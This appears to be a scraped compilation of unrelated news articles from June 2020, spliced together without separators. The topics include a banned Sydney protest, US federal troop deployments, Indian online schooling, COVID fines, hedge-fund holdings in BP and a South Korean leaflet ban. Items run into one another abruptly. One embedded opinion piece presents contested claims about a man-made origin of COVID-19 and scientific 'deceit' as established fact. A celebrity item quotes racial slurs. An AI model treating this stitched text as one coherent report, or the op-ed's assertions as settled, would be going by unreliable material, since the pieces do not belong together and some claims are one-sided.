The Black Lives Matter protest in Sydney has been controversially banned at the 11th hour after a judge ruled it didn't comply with coronavirus social distancing rules.

The decision comes after the NSW government proposed an injunction to have the protest called off in fears it could lead to another outbreak of the killer virus.

It is likely to cause fury among the 10,000 or so protesters who were due to attend the rally in Sydney's CBD on Saturday afternoon, starting at Town Hall at 3pm.

Across Australia, thousands are expected to to protest over the weekend, as similar marches continue across the world following the death of George Floyd.

Despite the announcement, thousands of Australian activists have vowed to flout social distancing rules and flood into Sydney regardless of the decision.

Protestors are seen waiting outside the Supreme Court on Friday afternoon (pictured) waiting to hear if the Black Lives Matter protest would be cancelled due to COVID-19 restrictions

The matter was put to the NSW Supreme Court on Friday with protesters anxiously waiting outside to hear the verdict.

People were seen carrying signs and the Aboriginal flag, demanding the protest go on.

But upon delivering his verdict, Justice Desmond Fagan said it would be unfair to let the protest go ahead given the sacrifices made by millions of Australians to abide by coronavirus restrictions.

'I cannot accept that these proposals ... should take the place of the public health order which applies to all citizens,' he said.

Justice Fagan said he appreciated the issue, and that the protest it was designed to be concurrent with similar events in other countries.

'I don't diminish the importance of the issues and no one would deny them in normal circumstances,' he said.

Thousands of protesters are planning to break COVID-19 restrictions to march in support of the Black Lives Matter movement this weekend (pictured protesters in Sydney on Tuesday)

A protester is seen outside Sydney's Supreme Court on Friday (pictured) waiting on the judge's decision

'No one denies them that but we're talking about a situation of a health crisis.

'Everyone has given up a lot in order to defeat the disease on the basis that this is best advice health officials have given us,' he said.

Since Mr Floyd's death, which has been ruled a homicide, protests and riots have erupted across the world and sparked a social media movement to end racial inequality.

Premier Gladys Berejiklian previously gave Saturday's protest the greenlight, but changed her mind amid fears it could lead to another coronavirus outbreak.

'If people had made the decision to express their views strongly in a COVID-19 safe way, which is the comments we made yesterday and the comments the day before, that would have been acceptable within the health orders but that is not the case,' she said.

Marches are expected across Australia over the weekend to show support for Indigenous Australians and protest against police brutality

Ms Berejiklian said under current restrictions only 500 can join together in public gatherings.

NSW Police Commissioner Mick Fuller said they had been monitoring the situation.

'I spoke to the premier this morning and said on the basis of that, the only option was for the protesters to cease their wish to protest, or for us to take the matter to the Supreme Court,' he said.

Prime Minister Scott Morrison simply told people to 'not go'.

'Our message is very clear, that the health risks of gathering in such large numbers and the risks of people coming into close proximity are real,' he said.

'It is important for people to have the right to protest but with those liberties comes great responsibility for individuals.

'Let's not misuse that liberty. Let's respect it.'

Health Minister Greg Hunt also weighed in saying it wasn't the right time, and would put the elderly and vulnerable at risk.

Dakota Gotty, 21, (pictured) says she will attend the protest as she has experienced racism firsthand

Protestors are seen wearing face masks outside the Supreme Court on Friday afternoon (pictured)

WHERE ARE THE PROTESTS PLANNED IN AUSTRALIA? Protests are set to go ahead in several Australian cities, but Sydney has now banned its planned protest. Melbourne: Sat June 6, 2pm to 5pm Parliament House, Melbourne Sydney: Sat June 6, 3pm to 5pm  Town Hall, Sydney Brisbane: Sat June 6, 1pm to 5pm  King George Square, Brisbane Adelaide: Sat June 6, 12pm to 1.30pm  Victoria Square / Tarntanyangga, Adelaide Advertisement

'The right to protest is fundamental,' he said on Friday.

'The means of coming together and risking the spread of COVID-19 is something we say to people, Please think again. Please do not do this".'

'Exercise your compassion. Express yourself. But do it in a way which is safe, sound and respectful of our most vulnerable Australians.'

'There will be a time, there's always - always - a time for protest, but it is not at this moment,' he said.

Those who are planning to attend the protests say they are aware of the risks but the the movement is too important to miss.

Dakota Gotty, 21, told Daily Mail Australia the protests are very personal for as she has experienced racism first hand.

Ms Gotty lives in Sydney but is from New Zealand, she is of Maori descent.

She said herself and her family members have been discriminated against because of the colour of their skin.

'Just because we have different coloured skin doesn't mean we should be treated differently,' she said.

Ms Gotty said she was planning on going to the Sydney rally and hoped others would join her.

Floyd, a 46-year-old black man, died in custody of the Minneapolis Police Department on Monday May 25 after an officer knelt on his neck for eight minutes while making an arrest.
Police forces and National Guard vehicles are used to block 16th Street near Lafayette Park and the White House on June 3, 2020 in Washington, DC.

Bowser's letter comes as the message "Black Lives Matter" was painted in giant yellow letters down 16th Street in Washington, the site of many demonstrations.

"Furthermore, I continue to be concerned that unidentified federal personnel patrolling the streets of Washington, D.C. pose both safety and national security risks," the Democratic mayor added.

"The deployment of federal law enforcement personnel and equipment are inflaming demonstrators and adding to the grievances of those who, by and large, are peacefully protesting for change and reforms to the racist and broken systems that are killing Black Americans," Bowser explained in a letter to Trump.

WASHINGTON  Mayor Muriel Bowser on Friday said she wants President Donald Trump to remove "all extraordinary federal law enforcement and military presence" from the city as protests over the death of George Floyd continued.

Protester paint a giant Black Lives Matter sign on 16th street near the White House in Washington, DC, on June 5 2020.

Trump fired back in a pair of tweets Friday afternoon, calling the Democratic mayor "incompetent" with a budget that is "totally out of control."

"[Mayor Bowser] is constantly coming back to us for "handouts", is now fighting with the National Guard, who saved her from great embarrassment over the last number of nights. If she doesn't treat these men and women well, then we'll bring in a different group of men and women!," the president tweeted.

Like cities across the nation, the U.S. capital has been rocked by a week of protests against police brutality following the death of George Floyd, a black Minneapolis man who died after a white police officer knelt on his neck.

On Tuesday evening, the Pentagon confirmed that approximately 1,600 active-duty troops from Fort Bragg in North Carolina and Fort Drum in New York were flown into the Washington area, as the nation braced for another day of protests.

Read more: Esper regrets using the term 'battle space' when describing civil unrest in U.S. cities

The troops, who are "postured" on military bases near the District of Columbia, have so far not taken part in any support to "civil authority operations," the Pentagon said in a statement Tuesday night.

There are approximately 41,500 National Guardsmen activated across 33 states and the District of Columbia to assist state and local law enforcement in civil unrest operations.

On Wednesday, Defense Secretary Mark Esper told reporters at the Pentagon that while he ordered the deployment of 1,600 troops to the region, he does not support invoking the Insurrection Act. That law would allow President Donald Trump to send the active-duty military to respond to civil unrest in cities across the country.

The Pentagon then said it was going to send home some of the active-duty troops.

Hours later, following a meeting at the White House and reports that Trump was upset with Esper, an Army spokesperson told NBC News that Esper had changed his mind again and would not be sending troops home.

Read more: Esper is still Defense secretary 'as of right now,' White House says after reports say Trump was angry with him

A day later, Esper reversed his decision and ordered several hundred troops from the 82nd Airborne Division to return home to Fort Bragg in North Carolina.
Manoj Viswanathan By

Express News Service

KOCHI: Online classes are helping the schools to overcome the challenges posed by the Covid lockdown and teachers and students are adapting to the change. However, the possible risks involved in the exposure to social media and parental intervention have made at least a section of teachers nervous. The merciless troll meted out to Sai Swetha, a teacher who imparts classes to primary school students on KITE Victers channel, has put teachers under tremendous stress.

There were incidents when outsiders logged on to the virtual class. When the teacher is handling a class with an attendance of 50 students, such intrusions will not be noticed. But this has made us nervous. What if an outsider records the video and misuses it? The feeling of being monitored on a social media platform makes the teachers feel insecure. Some parents attend the class along with the students and ask questions, said Al Ameen International Public School principal Sumeena.

Interfering parents

The school has asked parents to avoid interfering with the class. Some students were found chatting with others. When we ask questions or scold the students, the parents interfere. Some teachers have expressed concern over the risk involved, she said. According to teachers, many parents have requested to provide recorded videos which can be used at the convenience of the student. A section of parents of primary school students demand the classes be conducted early morning or late evening so that they can assist the students. This inconveniences the teachers as they will have to compromise on their family life.

The school management has asked us to take class for primary students after 6pm. It is the working parents who insist on night classes. Sometimes, the time slot extends to 9.30pm. We have to take care of our family and such sessions lead to family problems, said a teacher working at a prominent school in Kochi.

Under watch

The public fail to understand the mental stress experienced by the teacher. The feeling of public scrutiny makes her feel insecure. There has been a paradigm shift in the role of the teacher with the introduction of online classes. We have to prepare powerpoint presentations to simplify the lessons. We have to address the anxiety of the parents but they also have to understand the teacher, said Kalady Sree Sarada Vidyalaya Senior Secondary School principal Deepa Chandran.

The intervention of the parent will drain the confidence of the teacher. The feeling of being monitored will make the teacher feel insecure. Often when we ask questions, it is the parent who responds. A few students were found leaving the class while the session was in progress and some others were having snacks. All these distractions will adversely affect the performance of the teacher, said Kodungalloor Al Ameen Cheraman Malik Public School principal Rameena K E.

TV classes appreciated

Meanwhile, the digital classes imparted by the education department for state syllabus students through Victers channel has been received well. Though a few teachers were trolled, students and parents are happy with the classes. The teachers have formed WhatsApp groups at the school level for each class and they clear the doubts and give assignments based on the classes, said Kannur Patyam Government HS teacher K Sajith who is associated with the Kerala Infrastructure and Technology for Education (KITE) Victers channel.

No stay on govt decision; online classes to continue

Kochi: The High Court on Thursday declined to stay the government decision to conduct classes for school students through the KITE Victers channel and via online mode. While doing so, the court orally observed that there should be some way to tide over the pandemic. Justice C S Dias issued the order on a petition filed by C C Girija, the mother of two students from Kasaragod. She had sought a directive to the state government and the KITE not to broadcast classes online until all students in the state were provided the facilities to attend them.

At the hearing, government pleader Nisha Bose submitted that the government had commenced the virtual classes only on a trial basis. The government has assured that all necessary facilities would be provided to students before commencing regular classes online, tentatively by June 14. The government envisaged the online mode only to ensure students do not miss classes. Also, online classes can be downloaded, compiled together and shown to students who could not attend them. Many persons and organisations have come forward to help students who do not have a television or mobile phone, the Nisha submitted. The court observed it did not find any exigency warranting an interim order at this stage. It referred the case to a division bench and directed the registry to place the writ petition before the Chief Justice.
By Express News Service

HYDERABAD: IT and Industries Minister KT Rama Rao on Thursday said that technology had helped citizens and governments overcome problems during crises like Covid-19.

Rama Rao was addressing the World Economic Forums (WEF) Regional Action Group for the South Asia virtual meeting from Hyderabad on Thursday.

Rama Rao spoke about how Artificial Intelligence played a key role in tackling the Covid-19 situation. He highlighted the initiatives taken up by the State government during the crisis.

The IT Minister also said that new technologies would come into place to tackle Covid-19 problems. Rama Rao stated that technology had helped link the State government with the Centre and also interact with officers and public representatives at the district and mandal level.

He cited the example of drones being used to spray disinfectants in districts. Rama Rao mentioned that this method helped the government in preventing the spread of the virus to a great extent in rural areas. He also said that the drones had helped police officials in crowd management.

The IT Minister explained that the government had used various forms of technology to provide people with groceries.

Some delegates who took part in the session were Mohammed Shahriar Alam, Ministry of Foreign Affairs of Bangladesh, Fayyaz Ismail, Ministry of Economic Development of Maldives, S Iswaran, Ministry of Communications and Information of Singapore (MCI), Brge Brende, President, World Economic Forum and a few others.
The coronavirus had hit the world hard even the most developed countries had had their healthcare systems and the economy almost failing with the extreme number of cases that had taken the lives of many.

The Side Effects of The Pandemic

Since the start of the widespread lockdown and stay-at-home orders across the country, the public was ordered to remain indoors unless they need to do essential activities like buying medicine or groceries. Also, businesses that were classified as nonessential were asked by their local governments to postpone operations until they announce that it is safe to open again. This left those that are providing essential services to operate amid the pandemic while following strict COVID-19 preventive guidelines such as social distancing, wearing of facemasks, frequent cleaning and sanitation of facilities, and providing protection to employees and customers. With fewer people being able to go outdoors, even the businesses that were allowed to operate while their state is on lockdown had struggled to maintain their profits at a level to allow them to pay the expenses for their operations.

With many nonessential businesses nonoperational and many essential businesses struggling to earn enough profits to cover their cost of operations, many of them had resorted to reducing staff. This had led to the alarming numbers of unemployment across the country. This was evident in the huge number of Americans filing for unemployment benefits after losing their jobs. Many of those who had lost their jobs were the ones who are solely providing for the needs of their family. Losing their jobs mean that they do not have enough means to give their family's needs.

This had resulted in the United States issuing the stimulus bill to help those who had suffered from the economic side effects of the deadly pandemic. Also, it aims to help businesses to remain to function and retain their employees. However, to do all these the country needs to have funds.

Check these out:

The National Debt

Based on an article, the current national debt is $25 trillion. This is the amount the United States of America owes its creditors. The country's debt to its creditors increases as the national earnings decrease. One possible reason for a decrease in government earnings is tax cuts.

Furthermore, the debt of the country increases as national spending increases. The coronavirus pandemic had required the government to spend more as it tries to maintain the COVID-19 cases at manageable levels and other necessary measures regarding the pandemic.

In normal operations, the country's government is spending more than what it is earning. This is referred to as a deficit. To have funds for expenses that cannot be covered by the country's earnings, they need to borrow.

The top five countries which the United States owe a significant amount of debt are Japan, China, United Kingdom, Ireland, and Brazil. The country owes $1.271 trillion to Japan, $1.08 trillion to China, $395.3 billion to the United Kingdom, $271.5 billion to Ireland, and $264.4 billion to Brazil, according to an article.
Bottom line up front  the COVID-19 pandemic was a disaster for our economy, signaling that U.S. needs the scientific equivalent of a counterterrorism unit.

The U.S. intelligence agencies had neither the expertise nor the focus to provide the president and the nation with adequate scientific analysis to respond effectively to the COVID-19 pandemic.

Early in the outbreak, scientific and medical misinformation originating from China, the World Health Organization and various medical think tanks was published ubiquitously. It rapidly gained the following of experts here as 'science.' But many were erroneous or even misleading. They were not challenged.

The epidemiological data upon which a catastrophic economic shutdown was based, for one, was not evaluated.

The origin of the COVID-19 virus, SARS-CoV-2, is still not known due to ongoing censorship, scientific deceit and an uncritical acceptance of a naturally occurring narrative, promoted by the Chinese Communist Party to avoid reparations, supported by some Western scientists with a vested interest in the outcome and facilitated by a biased and uninformed media.

Without accurate scientific information, correct decisions by national leaders are relegated to the realm of happy accidents.

The naturally occurring narrative asserts that the COVID-19 virus, while circulating in a bat population, mutated, acquiring the ability to infect humans, which was then transmitted to people either visiting or working in the Wuhan Seafood Market.

Even the Office of the Director of National Intelligence, in an April 30, 2020 press release, blindly accepted the wide scientific consensus that the COVID-19 virus was not man-made or genetically modified.

Yet, there has never been conclusive scientific evidence to support that claim, quite the contrary.

Now, after months and endless media reports and scientific studies, the theory that the Wuhan Seafood Market was the source for animalhuman COVID-19 transmission is now totally discredited, even by the Chinese Centers for Disease Control and Prevention.

Furthermore, the structure of the COVID-19 virus is different in some very significant ways from any of the close coronavirus relatives so far identified, raising questions as to how the virus jumped from animals to humans.

Much of the scientific inquiry related to the origin of COVID-19 has centered on a particular component of coronaviruses called the spike glycoprotein, which carries the ability for the virus to bind itself to a human cell and gain entry.

Although the scientific conventional wisdom says that COVID-19 came from bats, the binding component appears more closely related to pangolins (scaly anteaters) and there exists another structure in the COVID-19 virus called a furin polybasic cleavage site that exists in none of the closely related bat coronaviruses.

The probability of those two structural components evolving together in nature is very low. In contrast, experiments artificially inserting such components into coronaviruses have long been done by Chinese scientists.

In a recently-published interview, the former director of British intelligence (MI6), Sir Richard Dearlove said he had seen an "important" new scientific report suggesting the virus did not emerge naturally but was man-made by Chinese scientists.

The authors of that scientific study state that the COVID-19 virus has "unique fingerprints" that cannot have evolved naturally and are instead "indicative of purposive manipulation.

The new study entitled "A Reconstructed Historical Aetiology of the SARS-CoV-2 Spike," says the COVID-19 virus is "remarkably well-adapted virus for human co-existence" and is likely to be the result of a Wuhan lab experiment to produce "chimeric viruses of high potency".

The paper concludes: "Henceforth, those who would maintain that the Covid-19 pandemic arose from zoonotic transfer need to explain precisely why this more parsimonious account is wrong before asserting that their evidence is persuasive, most especially when, as we also show, there are puzzling errors in their use of evidence."

Indeed. Understanding the true origin of the COVID-19 virus is key to avoiding the devastating effects of a future outbreak.

The time is long overdue for U.S. intelligence agencies to reassess their statement that the COVID-19 virus is naturally-occurring and establish the means for rapid and accurate scientific analysis of potential biological threats.

Lawrence Sellin, Ph.D. is a retired U.S. Army Reserve colonel, who previously worked at the U.S. Army Medical Research Institute of Infectious Diseases and conducted basic and clinical research in the pharmaceutical industry.

Photo illustration by Monica Showalter with use of Pixabay public domain images
The latest 13F reporting period has come and gone, and Insider Monkey is again at the forefront when it comes to making use of this gold mine of data. We at Insider Monkey have plowed through 821 13F filings that hedge funds and well-known value investors are required to file by the SEC. The 13F filings show the funds' and investors' portfolio positions as of March 31st, a week after the market trough. In this article we look at what those investors think of BP plc (NYSE:BP).

Is BP plc (NYSE:BP) a healthy stock for your portfolio? Money managers are turning less bullish. The number of bullish hedge fund bets shrunk by 9 in recent months. Our calculations also showed that BP isn't among the 30 most popular stocks among hedge funds (click for Q1 rankings and see the video for a quick look at the top 5 stocks).

Video: Watch our video about the top 5 most popular hedge fund stocks.

So, why do we pay attention to hedge fund sentiment before making any investment decisions? Our research has shown that hedge funds' small-cap stock picks managed to beat the market by double digits annually between 1999 and 2016, but the margin of outperformance has been declining in recent years. Nevertheless, we were still able to identify in advance a select group of hedge fund holdings that outperformed the S&P 500 ETFs by more than 51 percentage points since March 2017 (see the details here). We were also able to identify in advance a select group of hedge fund holdings that underperformed the market by 10 percentage points annually between 2006 and 2017. Interestingly the margin of underperformance of these stocks has been increasing in recent years. Investors who are long the market and short these stocks would have returned more than 27% annually between 2015 and 2017. We have been tracking and sharing the list of these stocks since February 2017 in our quarterly newsletter. Even if you aren't comfortable with shorting stocks, you should at least avoid initiating long positions in stocks that are in our short portfolio.

Story continues

[caption id="attachment_30493" align="aligncenter" width="393"]

Jeff Ubben VALUEACT CAPITAL

Jeffrey Ubben of ValueAct Capital[/caption]

At Insider Monkey we leave no stone unturned when looking for the next great investment idea. For example, 2020's unprecedented market conditions provide us with the highest number of trading opportunities in a decade. So we are checking out trades like this one. We interview hedge fund managers and ask them about their best ideas. If you want to find out the best healthcare stock to buy right now, you can watch our latest hedge fund manager interview here. We read hedge fund investor letters and listen to stock pitches at hedge fund conferences. Our best call in 2020 was shorting the market when the S&P 500 was trading at 3150 after realizing the coronavirus pandemics significance before most investors. Now we're going to analyze the recent hedge fund action surrounding BP plc (NYSE:BP).

What does smart money think about BP plc (NYSE:BP)?

Heading into the second quarter of 2020, a total of 31 of the hedge funds tracked by Insider Monkey held long positions in this stock, a change of -23% from one quarter earlier. The graph below displays the number of hedge funds with bullish position in BP over the last 18 quarters. With the smart money's sentiment swirling, there exists an "upper tier" of notable hedge fund managers who were increasing their holdings substantially (or already accumulated large positions).

Among these funds, Renaissance Technologies held the most valuable stake in BP plc (NYSE:BP), which was worth $339.1 million at the end of the third quarter. On the second spot was Fisher Asset Management which amassed $230 million worth of shares. Orbis Investment Management, ValueAct Capital, and Citadel Investment Group were also very fond of the stock, becoming one of the largest hedge fund holders of the company. In terms of the portfolio weights assigned to each position Kahn Brothers allocated the biggest weight to BP plc (NYSE:BP), around 7.26% of its 13F portfolio. Stamos Capital is also relatively very bullish on the stock, dishing out 2.69 percent of its 13F equity portfolio to BP.

Seeing as BP plc (NYSE:BP) has faced bearish sentiment from the smart money, we can see that there is a sect of hedgies that elected to cut their entire stakes in the first quarter. It's worth mentioning that Dmitry Balyasny's Balyasny Asset Management dumped the largest investment of all the hedgies followed by Insider Monkey, valued at about $40.3 million in stock, and Clint Carlson's Carlson Capital was right behind this move, as the fund dropped about $16.8 million worth. These bearish behaviors are important to note, as aggregate hedge fund interest dropped by 9 funds in the first quarter.

Let's check out hedge fund activity in other stocks similar to BP plc (NYSE:BP). We will take a look at Raytheon Technologies Corporation (NYSE:UTX), United Parcel Service, Inc. (NYSE:UPS), 3M Company (NYSE:MMM), and British American Tobacco plc (NYSE:BTI). This group of stocks' market caps are closest to BP's market cap.

[table] Ticker, No of HFs with positions, Total Value of HF Positions (x1000), Change in HF Position UTX,62,4025728,-19 UPS,48,842540,6 MMM,44,516510,-2 BTI,10,681088,1 Average,41,1516467,-3.5 [/table]

View table here if you experience formatting issues.

As you can see these stocks had an average of 41 hedge funds with bullish positions and the average amount invested in these stocks was $1516 million. That figure was $878 million in BP's case. Raytheon Technologies Corporation (NYSE:UTX) is the most popular stock in this table. On the other hand British American Tobacco plc (NYSE:BTI) is the least popular one with only 10 bullish hedge fund positions. BP plc (NYSE:BP) is not the least popular stock in this group but hedge fund interest is still below average. This is a slightly negative signal and we'd rather spend our time researching stocks that hedge funds are piling on. Our calculations showed that top 10 most popular stocks among hedge funds returned 41.4% in 2019 and outperformed the S&P 500 ETF (SPY) by 10.1 percentage points. These stocks gained 8.3% in 2020 through the end of May and surpassed the market by 13.2 percentage points. Unfortunately BP wasn't nearly as popular as these 10 stocks (hedge fund sentiment was quite bearish); BP investors were disappointed as the stock returned -2.6% during the second quarter and underperformed the market. If you are interested in investing in large cap stocks with huge upside potential, you should check out the top 10 most popular stocks among hedge funds as most of these stocks already outperformed the market in 2020.

[company-follow-email id=313807][/company-follow-email]

Disclosure: None. This article was originally published at Insider Monkey.

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The proposal to cut the Los Angeles Police Department's budget by at least $150 million "would require the elimination of hundreds of positions," LAPD Chief Michel Moore told AirTalk host Larry Mantle on Friday morning.

Moore said personnel expenses make up about 96% of the department's budget and, "Absent any outside influence, [these budget cuts] would require a reorganization that would require the elimination of police officers, would require the elimination of civilian workforce beyond what's already been proposed." Moore was referring to cuts proposed by L.A. Mayor Eric Garcetti given the city's diminished revenue due to the coronavirus pandemic.

Moore said he had not yet identified where these cuts might come from and noted that some positions within the LAPD are covered by collective bargaining agreements. He did not mention reducing the department's budget for weapons or other equipment.

Moore also said in situations where police officers have used force on protestors, if bodycam footage is available (not all officers are equipped with bodycams), that footage would not be released to the public. He said of those incidents.

Law enforcement personnel in riot gear face protesters in Los Angeles on June 3, 2020 as people gather to protest the death of George Floyd while under police custody. (FREDERIC J. BROWN/AFP via Getty Images)

Moore did say he would "commit to transparency" with the Inspector General and other investigators who have a "lawful and legitimate purpose for reviewing that video." He also said, "Individuals that were the subject of the force will have access as well to that body-worn video."

In addition, Moore said that the early data his department has collected suggests that 90% of the approximately 3,000 people who have been arrested during these protests identify come from the Los Angeles basin.

"In that entire spectrum, a very, very small minority, I want to say... about 10% or less, are from outside of this of the state of California," Moore said.

When asked whether he would support L.A. mayor Eric Garcetti's call for creation of a special prosecutor to consider criminal charges against officers, Moore had a one-word answer: "Yes."

Moore also apologized, again, for words he spoke earlier this week equating the death of George Floyd -- who died while being restrained for nine minutes by a Minneapolis police officer -- with looting and violence.

"It was a bad terrible choice of words," Moore said. "I regret it. I did not mean to equate the murder of George Floyd by the four Minneapolis police officers to those that were committing looting, those that were exacting violence, whether against police officers or against the burning and destruction of parts of Los Angeles. I apologized then. I apologize now."

MORE ON LA PROTESTS


The Chandigarh administration on Friday imposed fines ranging between 500 and 3,000 for various violations of Covid-19 safety norms.

Now, those found flouting home quarantine instructions will have to pay up 2,000.

Violation of social distancing norms by bus owners will invite 3,000 fine. Car owners will have to pay 2,000 while auto-rickshaw operators and those on two-wheelers will have to cough up 500 as penalty.

Buses are allowed to run with only 50% passenger capacity. Cars can have only two people other than the driver. In autos, only one passenger is allowed. Two-wheelers can have no pillion rider.

Meanwhile, violation of social distancing norms by owners of shops and commercial places will also invite 500. The same fine will be imposed on those spitting at public places.

Non-payment of the fine will attract proceedings under Section 188 of the Indian Penal Code and immediate arrest. Tehsildar and naib tehsildar, additional/joint commissioner of the municipal corporation, medical officer of the MC, medical officers as designated by director health and family welfare, station house officers and any other officer or official designated by the deputy commissioner from time to time will be responsible for implementing these directions, the order stated.

Earlier on June 2, the administration had decided to slap a fine of 500 on those not wearing a mask in public places.
A tradesman has died in Melbourne after being crushed to death on a work site.

The incident occurred in Altona North when he was struck by a metal pole on Friday afternoon.

He had been unloading a truck when the pole fell onto him.

'It is believed the man was unloading a truck on Chambers Road when a metal pole crushed him about 4.20pm,' Victoria Police said.

'The man, who is yet to be formally identified, died at the scene.'

A spokesperson for WorkSafe Victoria told Daily Mail Australia they are investigating the matter, however details of the incident remain unclear.
Main opposition United Future Party lawmakers, from left, Ji Seong-ho, Cho Tae-yong, Shin Won-sik and Suh Jung-sook, hold a press conference at the National Assembly in Seoul, Friday, to criticize the government's plan to legislate a ban on anti-North Korea leaflet campaigns. / Yonhap



By Kang Seung-woo



The South Korean government's response to stop anti-North Korea leaflets being transported to the North from the South, announced Thursday, is raising some eyebrows as the announcement came mere hours after Pyongyang made a complaint.



Critics say Seoul is obeying the North Korean regime in order to keep its drive to engage with the North alive, while the North has kept quiet about its southern neighbor's protests against its repeated provocations.



On Thursday, Kim Yo-jong, the powerful sister of North Korean leader Kim Jong-un, warned that if South Korean authorities continue to tolerate the propaganda leaflets created and distributed by North Korean defectors and other activist groups, the North will cancel the inter-Korean military tension-reducing agreement made during the inter-Korean summit in September 2018 that bans all hostile acts including loud-speaker broadcasting and the scattering of leaflets along the border.



The barbed remarks came after Fighters for Free North Korea (FFNK), an organization of North Korean defectors, sent balloons carrying anti-North leaflets across the border, May 31. The North has been sensitive about the leaflet distribution out of concerns that it could undermine the authority of its leadership.



Kim, who serves as first vice department director of the party's Central Committee, also urged the South Korean government to "make a law" and "take thorough preventive measures" against the leaflet campaigns.



Four hours later, the unification ministry said the leaflet campaigns cause tensions and should be halted. Furthermore, it held an unscheduled press briefing and said it is planning to legislate a ban on the campaigns.



The defense ministry also said the leaflet campaign should be stopped as it ratchets up tensions in the border area, posing a threat to the safety and property of local residents.



And finally, Cheong Wa Dae condemned the campaigns, vowing to take stern measures against those participating in such activities. "The spreading of such leaflets is good for nothing. The government will sternly respond to any behavior that could harm national security," a senior presidential aide said.



Lawmakers from the main opposition United Future Party slammed the government's response, Friday.



"We are confused over whether we are in South Korea or North Korea," Reps. Cho Tae-yong, Shin Won-sik, Ji Seong-ho and Suh Jung-sook said in a joint press conference at the National Assembly in Seoul.



"So far, the Moon Jae-in administration has kept silent on the North's missile launches, while defending the North's gunfire at the border. Furthermore, it is now planning to make a law for the North, threatening South Koreans. We want to question for whom the government exists."



Last November, the North carried out artillery firing drills on Changrin Islet just north of the Northern Limit Line (NLL) and it recently fired bullets at a South Korean guard post in the Demilitarized Zone (DMZ). Both of the incidents were in violation of the military agreement, but North Korea has yet to make an apology for them.



Park Sang-hak, the FFNK chairman, said his organization will continue to fly propaganda leaflets to the North. He plans to launch 1 million leaflets on June 25 in commemoration of the 70th anniversary of the start of the 1950-53 Korean War.



"We have been doing this for 15 years and we are set to continue doing so," he told The Korea Times.



"The envisioned legislation means destroying the Constitution as it could infringe upon freedom of expression."



As Park noted, the plan to legislate a ban on the propaganda balloons could spark an outcry over the possible infringement of the right to free expression. In addition, it is expected to face backlash from conservative opposition parties, as seen in 2018 when a similar bill failed to pass at the National Assembly.


If theres anything weve learned from the global protests against racial injustice and police brutality over the last two weeks, its that speaking up speaks volumes. Calling out racism is a crucial step to healing, said Dr. Rheeda Walker, a Ph.D. licensed clinical psychologist, University of Houston professor and author of The Unapologetic Guide to Black Mental Health.

This is an important time in history and an important time to speak up against racism and injustice, she said.

Still, Walker is cautiously optimistic that the protests will have real impact in dismantling racism in America.

Even though white people seem to be hurt by what black people have been experiencing for generations, their hurt is not going to impact the day-to-day pain of black people, she said. They have hurt feelings, but we have real pain. Weve learned to endure. What you see now is people tired of enduring.

Walker, along with her 9-year-old son, attended the protest to pay tribute to Houston native George Floyd in downtown Houston last week. An estimated 60,000 people congregated at City Hall to admonish police brutality and racism in the wake of Floyds brutal homicide by Minnesota police last month. The protest was organized by Houston rappers Bun B and Trae The Truth.

Four police officers have been charged in Floyds death.

More Information "I Can't Breath," a Zoom gathering Presented by Center for Healing Racism When: 6 p.m. Thursday, June 11 Details: Free with registration at centerhealingracism.org/event See More Collapse

It was important for my son to be a witness to this, Walker said. Hes had a lot of questions and hes still trying to understand why police officers would do this.

She added that the stress of racism and its impact on mental health are so deeply engrained it will take much more than protests to reverse the damage. It may give some relief, but it will be temporary. We have been enduring this so long that many of us dont realize were in survival mode.

Cherry Steinwender, executive director of the Center for Healing Racism, is hopeful.

This feels different, she said. There have been many protests over the decades, but this is the first time Ive seen it worldwide. Ive been trying to get this country to use the word, racism, for 30 years. Weve been afraid to talk about race. Now, were seeing so many white people use the word  thats hopeful.

Steinwender is hosting virtual I Cant Breathe workshops to talk about racism and its impact. Its referencing the words uttered by Floyd minutes before his death, modern-day lynching, as she sees it.

Racism isnt a black problem. Its a white problem, and their silence is violence, Steinwender said. But itll take white people to call out other white people for real change. When black people speak their truth, we are called angry or accused of using the race card. We are looking for white people to speak out.

Steinwender has unique perspective, given that shes been married to Austrian-born Siegfried Steinwender for 39 years. The couple met a garage sale.

He was looking for junk and found a treasure, Steinwender joked, but she admits she concealed the fact she was married to a white man for years because she didnt want it to confuse her message. She said her husband often has shared some of the racist water-cooler conversations that he would hear; his co-workers just assumed he felt the same. She used those conversations in her educational training and programs about racism and stereotypes.

Racism is the cause of stress in the black community, Steinwender said.

We know stress is a major cause of illness. Black people are living a life under stress every day, she said. That fact that you are black and living under a racist systerm is the cause of stress. Thats why we have underlying health issues.

Self-care is crucial right now, Walker said. She advises pulling away from TV news and social media. Constant messages about racism and police brutality can further traumatize.

We dont realize what were watching because the goal is to continue to survive, she said.

Nows the time to get creative.

There are some big ideas in black minds, but they have been so bound in racism that they havent had the opportunity to be come reality, she said. We need to come up with plans. Its time to for us to get out from under racism and create our own way moving forward and not wait for the system to fix itself.

joy.sewing@chron.com
She's been displaying her fun fashion sense while presenting her radio show during lockdown.

And Myleene Klass was in high spirits on Friday as she battled the windy weather on her way into the Smooth Radio studios in London.

The presenter, 42, cut a stylish figure by teaming an edgy Kooples t-shirt with leopard print trousers as she headed through the capital.

Stylish: Myleene Klass, 42, was in high spirits on Friday as she battled the windy weather on her way into the Smooth Radio studios in London

After several days sporting elegant looks, Myleene appeared to be embracing casual Friday as she arrived at the radio studios.

The mother-of-three sported a rock-themed t-shirt with comfy leopard print trousers, along with her beloved chunky lace-up boots.

Myleene was certainly embracing the Friday feeling as she headed into the radio studio, despite her hair being blown in all directions by the blustery weather.

Looking good: The presenter cut a stylish figure by teaming an edgy Kooples t-shirt with leopard print trousers as she headed through the capital

Blustery: Myleene seemed slightly windswept as she strolled through Leicester Square into the radio studios

On Wednesday, Myleene detailed the shocking physical and verbal racial abuse she experienced in her childhood and the prevalent prejudice she still witnesses.

The star, who was born in Great Yarmouth, Norfolk, to an Austrian father and a Filipino mother, took to Instagram on Wednesday morning to reveal she is struggling to explain racism to her children amid the Black Lives Matter movement

In her impassioned post, the star listed some of the horrendous slurs she has faced over the years, with a shocking list reading: 'Chink. Slit eye. Number 69, Fried rice. Mongrel. Ping pong. Slut. All Tai girls are sluts. Banana'.

Shocking: Her outing comes a day after she detailed the horrific racial abuse she experienced in her childhood and the prevalent prejudice she still witnesses

Heartfelt: The songstress, who was born in Great Yarmouth, Norfolk, to an Austrian father and a Filipino mother, took to Instagram on Wednesday morning to reveal she is struggling to explain racism to her children amid the Black Lives Matter movement

Myleene is mother to Ava, 12, Hero, nine, from her relationship with her ex Graham Quinn and Apollo, 10 months, with her current partner Simon Motson, 45.

